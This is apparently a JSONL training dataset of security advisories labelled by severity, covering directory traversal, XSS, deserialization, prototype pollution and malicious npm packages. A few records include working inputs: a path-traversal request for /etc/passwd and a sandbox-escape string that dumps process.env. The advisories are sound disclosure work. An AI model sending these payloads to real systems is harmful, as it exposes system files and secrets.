-{"id": "0c9ca912b9e95dc1704a", "text": "Directory Traversal in quickserver\n\nAffected versions of `quickserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in quickserver\n\n[Severity: HIGH]\n\nAffected versions of `quickserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "1d704de10c103fda4e35", "text": "Directory Traversal in iter-server\n\nAffected versions of `iter-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in iter-server\n\n[Severity: HIGH]\n\nAffected versions of `iter-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3a69e168aaf0e42059a2", "text": "Holder can (re)create authentic credentials after receiving a credential in vp-toolkit\n\n### Impact\nThe [`verifyVerifiableCredential()`](https://github.com/rabobank-blockchain/vp-toolkit/blob/master/src/service/signers/verifiable-credential-signer.ts#L57) method check the cryptographic integrity of the Verifiable Credential, but it does not check if the [`credential.issuer`](https://github.com/rabobank-blockchain/vp-toolkit-models/blob/develop/src/model/verifiable-credential.ts#L129) DID matches the signer of the credential.\n\nThe **verifier** is impacted by this vulnerability.\n\n### Patches\nPatch will be available in version 0.2.2.\n\n### Workarounds\nIn case you trust certain issuers for certain credentials as a verifier, trust the issuer&#39;s public key from the `credential.proof.verificationMethod` field.\n\n### References\n[Github issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/13)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Discuss in the existing [issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/13)\n* [Contact me](https://github.com/rabomarnix)", "text_raw": "Holder can (re)create authentic credentials after receiving a credential in vp-toolkit\n\n[Severity: HIGH]\n\n### Impact\nThe [`verifyVerifiableCredential()`](https://github.com/rabobank-blockchain/vp-toolkit/blob/master/src/service/signers/verifiable-credential-signer.ts#L57) method check the cryptographic integrity of the Verifiable Credential, but it does not check if the [`credential.issuer`](https://github.com/rabobank-blockchain/vp-toolkit-models/blob/develop/src/model/verifiable-credential.ts#L129) DID matches the signer of the credential.\n\nThe **verifier** is impacted by this vulnerability.\n\n### Patches\nPatch will be available in version 0.2.2.\n\n### Workarounds\nIn case you trust certain issuers for certain credentials as a verifier, trust the issuer&#39;s public key from the `credential.proof.verificationMethod` field.\n\n### References\n[Github issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/13)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Discuss in the existing [issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/13)\n* [Contact me](https://github.com/rabomarnix)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-06", "split": "train"}
-{"id": "a2a6fbbdf427f093937f", "text": "Cisco ASA and FTD Read-Only Path Traversal Vulnerability\n\nAffected: Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)\n\nCisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an improper input validation vulnerability when HTTP requests process URLs.  An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco ASA and FTD Read-Only Path Traversal Vulnerability\n\nAffected: Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)\n\nCisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an improper input validation vulnerability when HTTP requests process URLs.  An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "cdebe55e00b09f23d53b", "text": "Deserialization of Untrusted Data in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the openjpa class from polymorphic deserialization.", "text_raw": "Deserialization of Untrusted Data in jackson-databind\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the openjpa class from polymorphic deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "0a3e2f3e0608a3abdcfd", "text": "install-nw downloads Resources over HTTP\n\nAffected versions of `install-nw` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `install-nw`.\n\n## Recommendation\n\nUpdate to version 1.1.5 or later.", "text_raw": "install-nw downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `install-nw` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `install-nw`.\n\n\n## Recommendation\n\nUpdate to version 1.1.5 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "253502d2e0515bd36a3f", "text": "Malicious Package in eslint-scope\n\nVersion 3.7.2 of `eslint-scope` was published without authorization and was found to contain malicious code. This code would read the users `.npmrc` file and send any found authentication tokens to 2 remote servers.\n\n## Recommendation\n\nThe best course of action if you found this package installed in your environment is to revoke all your npm tokens. You can find instructions on how to do that here. https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens", "text_raw": "Malicious Package in eslint-scope\n\n[Severity: CRITICAL]\n\nVersion 3.7.2 of `eslint-scope` was published without authorization and was found to contain malicious code. This code would read the users `.npmrc` file and send any found authentication tokens to 2 remote servers.\n\n\n## Recommendation\n\nThe best course of action if you found this package installed in your environment is to revoke all your npm tokens. You can find instructions on how to do that here. https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "607d9cefdbff3e1396d1", "text": "Malicious Package in mogodb\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in mogodb\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fafb9ebecb2b4520e2c3", "text": "Mindjet MindManager 2012 v10.0.493 Multiple Remote Vulnerabilities", "text_raw": "Mindjet MindManager 2012 v10.0.493 Multiple Remote Vulnerabilities\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2012-01-31", "split": "train"}
-{"id": "48ac689b8f58a49a4c3b", "text": "Directory traversal attack in Spring Cloud Config\n\nSpring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.", "text_raw": "Directory traversal attack in Spring Cloud Config\n\n[Severity: HIGH]\n\nSpring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "13ea579d3496671f6bd2", "text": "Denial of Service in ipfs-bitswap\n\nVersions of `ipfs-bitswap` prior to 0.24.1 are vulnerable to Denial of Service (DoS). The package put unwanted blocks in the blockstore, which could be used to exhaust system resources in specific conditions.\n\n## Recommendation\n\nUpgrade to version 0.24.1 or later.", "text_raw": "Denial of Service in ipfs-bitswap\n\n[Severity: MEDIUM]\n\nVersions of `ipfs-bitswap` prior to 0.24.1 are vulnerable to Denial of Service (DoS). The package put unwanted blocks in the blockstore, which could be used to exhaust system resources in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 0.24.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "268b5e949f857f62cc10", "text": "Microsoft Windows Kernel Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-131\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Kernel Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-131\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "66c1565fc74e416325ae", "text": "Data races in atom\n\nThe atom crate contains a security issue revolving around its implementation of the Send trait. It incorrectly allows any arbitrary type to be sent across threads potentially leading to use-after-free issues through memory races.", "text_raw": "Data races in atom\n\n[Severity: MEDIUM]\n\nThe atom crate contains a security issue revolving around its implementation of the Send trait. It incorrectly allows any arbitrary type to be sent across threads potentially leading to use-after-free issues through memory races.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8399a8ca991df34a632d", "text": "Cross-site Scripting in Mattermost\n\nMattermost 5.38 and earlier fails to sufficiently sanitize clipboard contents, which allows a user-assisted attacker to inject arbitrary web script in product deployments that explicitly disable the default CSP.", "text_raw": "Cross-site Scripting in Mattermost\n\n[Severity: MEDIUM]\n\nMattermost 5.38 and earlier fails to sufficiently sanitize clipboard contents, which allows a user-assisted attacker to inject arbitrary web script in product deployments that explicitly disable the default CSP.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "851626e83fd82142bfc3", "text": "Path Traversal in Ansible\n\nA flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.", "text_raw": "Path Traversal in Ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "ed76938814f689c92945", "text": "Command injection in Yamale\n\n23andMe Yamale before 3.0.8 allows remote attackers to execute arbitrary code via a crafted schema file. The schema parser uses eval as part of its processing, and tries to protect from malicious expressions by limiting the builtins that are passed to the eval. When processing the schema, each line is run through Python's eval function to make the validator available. A well-constructed string within the schema rules can execute system commands; thus, by exploiting the vulnerability, an attacker can run arbitrary code on the image that invokes Yamale.", "text_raw": "Command injection in Yamale\n\n[Severity: HIGH]\n\n23andMe Yamale before 3.0.8 allows remote attackers to execute arbitrary code via a crafted schema file. The schema parser uses eval as part of its processing, and tries to protect from malicious expressions by limiting the builtins that are passed to the eval. When processing the schema, each line is run through Python's eval function to make the validator available. A well-constructed string within the schema rules can execute system commands; thus, by exploiting the vulnerability, an attacker can run arbitrary code on the image that invokes Yamale.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-11", "split": "train"}
-{"id": "5c34427d61b4d4d947ac", "text": "Prototype Pollution in get-setter\n\nAll versions of `get-setter` are vulnerable to prototype pollution. The function `set` does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in get-setter\n\n[Severity: HIGH]\n\nAll versions of `get-setter` are vulnerable to prototype pollution. The function `set` does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "7c7cb7dc484823972b72", "text": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\nVersions of `safer-eval` prior to 1.3.4 are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload using constructor properties can escape the sandbox and execute arbitrary code. For example, evaluating he string `console.constructor.constructor('return process')().env` prints `process.env` to the console.\n\n## Recommendation\n\nUpgrade to version 1.3.4 or later.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\n[Severity: CRITICAL]\n\nVersions of `safer-eval` prior to 1.3.4 are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload using constructor properties can escape the sandbox and execute arbitrary code. For example, evaluating he string `console.constructor.constructor('return process')().env` prints `process.env` to the console.\n\n\n## Recommendation\n\nUpgrade to version 1.3.4 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-21", "split": "train"}
-{"id": "68a0fc2442a30d288cc8", "text": "Jekyll allows attackers to access arbitrary files by specifying a symlink\n\nJekyll through 3.6.2, 3.7.x through 3.7.3, and 3.8.x through 3.8.3 allows attackers to access arbitrary files by specifying a symlink in the `include` key in the `_config.yml` file.", "text_raw": "Jekyll allows attackers to access arbitrary files by specifying a symlink\n\n[Severity: HIGH]\n\nJekyll through 3.6.2, 3.7.x through 3.7.3, and 3.8.x through 3.8.3 allows attackers to access arbitrary files by specifying a symlink in the `include` key in the `_config.yml` file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-28", "split": "train"}
-{"id": "832f855aceaf18336098", "text": "Observable Response Discrepancy in Flask-AppBuilder\n\n### Impact\nUser enumeration in database authentication in Flask-AppBuilder <= 3.2.3. Allows for a non authenticated user to enumerate existing accounts by timing the response time from the server when you are logging in.\n\n### Patches\nUpgrade to 3.3.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Flask-AppBuilder](https://github.com/dpgaspar/Flask-AppBuilder)", "text_raw": "Observable Response Discrepancy in Flask-AppBuilder\n\n[Severity: MEDIUM]\n\n### Impact\nUser enumeration in database authentication in Flask-AppBuilder <= 3.2.3. Allows for a non authenticated user to enumerate existing accounts by timing the response time from the server when you are logging in.\n\n### Patches\nUpgrade to 3.3.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Flask-AppBuilder](https://github.com/dpgaspar/Flask-AppBuilder)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "918dbf87fe171d6383db", "text": "Improper Access Control in Webauthn Framework\n\nWebauthn Framework 3.3.x before 3.3.4 has Incorrect Access Control. An attacker that controls a user's system is able to login to a vulnerable service using an attached FIDO2 authenticator without passing a check of the user presence.", "text_raw": "Improper Access Control in Webauthn Framework\n\n[Severity: CRITICAL]\n\nWebauthn Framework 3.3.x before 3.3.4 has Incorrect Access Control. An attacker that controls a user's system is able to login to a vulnerable service using an attached FIDO2 authenticator without passing a check of the user presence.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "700198ef326dadcf08c7", "text": "IPUX CS7522/CS2330/CS2030 IP Camera (UltraHVCamX.ocx) ActiveX Stack BoF", "text_raw": "IPUX CS7522/CS2330/CS2030 IP Camera (UltraHVCamX.ocx) ActiveX Stack BoF\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-12-02", "split": "train"}
-{"id": "19fbf94f32d3387b47ab", "text": "Prototype pollution in dotty\n\nPrototype pollution vulnerability in 'dotty' before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in dotty\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'dotty' before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-02-05", "split": "train"}
-{"id": "9783fd9bd89f35690644", "text": "Native Instruments Massive 1.1.4 KSD File Handling Use-After-Free Vulnerability", "text_raw": "Native Instruments Massive 1.1.4 KSD File Handling Use-After-Free Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "019d615a44cb95870d8d", "text": "Undertow-core vulnerable to HTTP Request Smuggling\n\nIt was discovered in Undertow that the code that parsed the HTTP request line permitted invalid characters. This could be exploited, in conjunction with a proxy that also permitted the invalid characters but with a different interpretation, to inject data into the HTTP response. By manipulating the HTTP response the attacker could poison a web-cache, perform an XSS attack, or obtain sensitive information from requests other than their own.", "text_raw": "Undertow-core vulnerable to HTTP Request Smuggling\n\n[Severity: MEDIUM]\n\nIt was discovered in Undertow that the code that parsed the HTTP request line permitted invalid characters. This could be exploited, in conjunction with a proxy that also permitted the invalid characters but with a different interpretation, to inject data into the HTTP response. By manipulating the HTTP response the attacker could poison a web-cache, perform an XSS attack, or obtain sensitive information from requests other than their own.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "418d47021a87d997c6e1", "text": "Cross-site scripting in Plone\n\nPlone through 5.2.4 allows XSS via the inline_diff methods in Products.CMFDiffTool.", "text_raw": "Cross-site scripting in Plone\n\n[Severity: MEDIUM]\n\nPlone through 5.2.4 allows XSS via the inline_diff methods in Products.CMFDiffTool.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "543ab8350f6c9c9ef646", "text": "Denial of Service (DoS) in Jackson Dataformat CBOR\n\nThis affects the package com.fasterxml.jackson.dataformat:jackson-dataformat-cbor from 2.8.0-rc1 and before 2.11.4, from 2.12.0-rc1 and before 2.12.1. Unchecked allocation of byte buffer can cause a java.lang.OutOfMemoryError exception.", "text_raw": "Denial of Service (DoS) in Jackson Dataformat CBOR\n\n[Severity: HIGH]\n\nThis affects the package com.fasterxml.jackson.dataformat:jackson-dataformat-cbor from 2.8.0-rc1 and before 2.11.4, from 2.12.0-rc1 and before 2.12.1. Unchecked allocation of byte buffer can cause a java.lang.OutOfMemoryError exception.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "4694fd9af91ed0301026", "text": "Authorization bypass in express-jwt\n\n### Overview\nVersions before and including 5.3.3, we are not enforcing the **algorithms** entry to be specified in the configuration.\nWhen **algorithms** is not specified in the configuration, with the combination of jwks-rsa, it may lead to authorization bypass.\n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\nYou are using express-jwt\nAND \nYou do not have **algorithms**  configured in your express-jwt configuration.\nAND\nYou are using libraries such as jwks-rsa as the **secret**.\n\n### How to fix that?\nSpecify **algorithms** in the express-jwt configuration. The following is an example of a proper configuration\n\n``` \nconst checkJwt = jwt({\n  secret: jwksRsa.expressJwtSecret({\n    rateLimit: true,\n    jwksRequestsPerMinute: 5,\n    jwksUri: `https://${DOMAIN}/.well-known/jwks.json`\n  }),\n  // Validate the audience and the issuer.\n  audience: process.env.AUDIENCE,\n  issuer: `https://${DOMAIN}/`,\n  // restrict allowed algorithms\n  algorithms: ['RS256']\n}); \n```\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users if you specified the algorithms allowed. The patch now makes **algorithms** a required configuration.\n\n### Credit\nIST Group", "text_raw": "Authorization bypass in express-jwt\n\n[Severity: HIGH]\n\n### Overview\nVersions before and including 5.3.3, we are not enforcing the **algorithms** entry to be specified in the configuration.\nWhen **algorithms** is not specified in the configuration, with the combination of jwks-rsa, it may lead to authorization bypass. \n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\nYou are using express-jwt\nAND \nYou do not have **algorithms**  configured in your express-jwt configuration.\nAND\nYou are using libraries such as jwks-rsa as the **secret**. \n\n### How to fix that?\nSpecify **algorithms** in the express-jwt configuration. The following is an example of a proper configuration\n\n``` \nconst checkJwt = jwt({\n  secret: jwksRsa.expressJwtSecret({\n    rateLimit: true,\n    jwksRequestsPerMinute: 5,\n    jwksUri: `https://${DOMAIN}/.well-known/jwks.json`\n  }),\n  // Validate the audience and the issuer.\n  audience: process.env.AUDIENCE,\n  issuer: `https://${DOMAIN}/`,\n  // restrict allowed algorithms\n  algorithms: ['RS256']\n}); \n```\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users if you specified the algorithms allowed. The patch now makes **algorithms** a required configuration. \n\n\n### Credit\nIST Group", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "282e10e41cb50766a3a5", "text": "Cross-Site Scripting in jquery\n\nVersions of `jquery` prior to 1.9.0 are vulnerable to Cross-Site Scripting. The load method fails to recognize and remove `<script>` HTML tags that contain a whitespace character, i.e: `</script >`, which results in the enclosed script logic to be executed. This allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.9.0 or later.", "text_raw": "Cross-Site Scripting in jquery\n\n[Severity: MEDIUM]\n\nVersions of `jquery` prior to 1.9.0 are vulnerable to Cross-Site Scripting. The load method fails to recognize and remove `<script>` HTML tags that contain a whitespace character, i.e: `</script >`, which results in the enclosed script logic to be executed. This allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.9.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-20", "split": "train"}
-{"id": "80bb9ecd14037933da51", "text": "Malicious Package in arsenic-tabasco-cyborg-peanut-butter\n\nAll versions of `arsenic-tabasco-cyborg-peanut-butter` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in arsenic-tabasco-cyborg-peanut-butter\n\n[Severity: CRITICAL]\n\nAll versions of `arsenic-tabasco-cyborg-peanut-butter` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d5cc020c835e43f27556", "text": "Django allows unprivileged users to read the password hashes of arbitrary accounts\n\nAn issue was discovered in Django 2.1 before 2.1.2, in which unprivileged users can read the password hashes of arbitrary accounts. The read-only password widget used by the Django Admin to display an obfuscated password hash was bypassed if a user has only the \"view\" permission (new in Django 2.1), resulting in display of the entire password hash to those users. This may result in a vulnerability for sites with legacy user accounts using insecure hashes.", "text_raw": "Django allows unprivileged users to read the password hashes of arbitrary accounts\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Django 2.1 before 2.1.2, in which unprivileged users can read the password hashes of arbitrary accounts. The read-only password widget used by the Django Admin to display an obfuscated password hash was bypassed if a user has only the \"view\" permission (new in Django 2.1), resulting in display of the entire password hash to those users. This may result in a vulnerability for sites with legacy user accounts using insecure hashes.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-03", "split": "train"}
-{"id": "093076b6c47d79c50b28", "text": "Unauthenticated Remote Command Injection in ep_imageconvert\n\nep_imageconvert is a plugin for [Etherpad Lite](https://github.com/ether/etherpad-lite). ep_imageconvert <= 0.0.2 is vulnerable to remote command injection.\n\nAuthentication is not required for remote exploitation.\n\n## Recommendation\n\nUpdate to version 0.0.3 or greater.", "text_raw": "Unauthenticated Remote Command Injection in ep_imageconvert\n\n[Severity: HIGH]\n\nep_imageconvert is a plugin for [Etherpad Lite](https://github.com/ether/etherpad-lite). ep_imageconvert <= 0.0.2 is vulnerable to remote command injection.\n\nAuthentication is not required for remote exploitation.\n\n\n## Recommendation\n\nUpdate to version 0.0.3 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "1fbf50a95a423595c310", "text": "Stored XSS by authenticated backend user with access to upload files\n\n### Impact\nBackend users with access to upload files were permitted to upload SVG files without any sanitization applied to the uploaded files. Since SVG files support being parsed as HTML by browsers, this means that they could theoretically upload Javascript that would be executed on a path under the website's domain (i.e. /storage/app/media/evil.svg), but they would have to convince their target to visit that location directly in the target's browser as the backend does not display SVGs inline anywhere, SVGs are only displayed as image resources in the backend and are thus unable to be executed.\n\n### Patches\nIssue has been patched in Build 469 (v1.0.469) & v1.1.0.\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/80aab47f044a2660aa352450f55137598f362aa4 to your installation manually if unable to upgrade to Build 469 or v1.1.0.\n\n### References\nReported by [Hoan Hoang](https://github.com/hoanhp)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1107\" alt=\"Screen Shot 2020-10-10 at 1 47 49 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663787-378f2b80-0aff-11eb-8dfc-b97d162939da.png\">", "text_raw": "Stored XSS by authenticated backend user with access to upload files\n\n[Severity: LOW]\n\n### Impact\nBackend users with access to upload files were permitted to upload SVG files without any sanitization applied to the uploaded files. Since SVG files support being parsed as HTML by browsers, this means that they could theoretically upload Javascript that would be executed on a path under the website's domain (i.e. /storage/app/media/evil.svg), but they would have to convince their target to visit that location directly in the target's browser as the backend does not display SVGs inline anywhere, SVGs are only displayed as image resources in the backend and are thus unable to be executed.\n\n### Patches\nIssue has been patched in Build 469 (v1.0.469) & v1.1.0.\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/80aab47f044a2660aa352450f55137598f362aa4 to your installation manually if unable to upgrade to Build 469 or v1.1.0.\n\n### References\nReported by [Hoan Hoang](https://github.com/hoanhp)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1107\" alt=\"Screen Shot 2020-10-10 at 1 47 49 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663787-378f2b80-0aff-11eb-8dfc-b97d162939da.png\">", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-23", "split": "train"}
-{"id": "0b5532d490541b3d87c4", "text": "personnummer/js vulnerable to Improper Input Validation\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.\n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 